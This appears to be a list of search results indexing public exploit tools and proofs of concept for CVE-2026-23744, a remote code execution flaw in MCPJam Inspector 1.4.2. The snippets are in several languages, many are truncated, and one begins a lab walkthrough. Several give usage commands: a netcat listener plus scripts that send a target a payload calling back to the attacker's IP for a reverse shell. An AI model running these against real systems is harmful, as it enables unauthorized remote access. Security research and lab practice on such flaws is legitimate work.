26 matches found
mcpExec
mcpExec 是一个利用 CVE-2026-23744 漏洞，通过易受攻击的 MCPJam Inspector 安装的 URL 来获取反向 Shell 的工具。 安装 root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.py 要退出虚拟环境...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
在 Kali Linux 上 - 终端 1 nc -lvnp 4444 在 Kali Linux 上 - 终端 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
CVE-2026-23744
CVE-2026-23744 script de python para explotar CVE-2026-23744 cómo usarlo : lo primero que debes hacer es abrir dos terminales primer terminal -- nc -nvlp 4444 segundo terminal -- python CVE-2026-23744.py -lhost tu ip -url url objetivo para el menú de ayuda : python CVE-2026-23744.py -h...
CVE-2026-23744
CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 RCE en MCPJam inspector = 1.4.2 Detalles de la vulnerabilidad https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Uso root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show...
CVE-2026-23744
root@kitploit: uso: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC opciones: -h, --help muestra este mensaje de ayuda y sale --lhost, -l LHOST Dirección IP del atacante --lport, -p LPORT Puerto del atacante --rhost, -t RHOST URL del objetivo...
DevHub-HTB-Walkthrough
DevHub – Walkthrough de HTB Medium Linux Máquina: DevHub Dificultad: Media SO: Linux Temas: CVE-2026-23744, Túnel Chisel, Jupyter, Flask API, Escalada de privilegios de root 📌 1. Reconocimiento root@kitploit: nmap -sC -sV devhub.htb Resultado: Puerto 22 SSH Puerto 80 HTTP Puerto 6274 MCPJam...
CVE-2026-23744-exploit
Este repositorio no tiene un README...
CVE-2026-23744
此存储库没有 README。...
CVE-2026-23744
This repository does not have a README...
CVE-2026-23744-PoC
Este repositorio no tiene un README...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744: Unauthenticated Remote Code Execution PoC...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
MCPJam Inspector Authorized Security Validator A bounded proo...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
cve-2026...
📄 MCPJam Inspector 1.4.2 Command Injection
This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint discovery, listener management, and several...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 --- Description MCPJam inspector is a loca...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
on kali linux - terminal 1...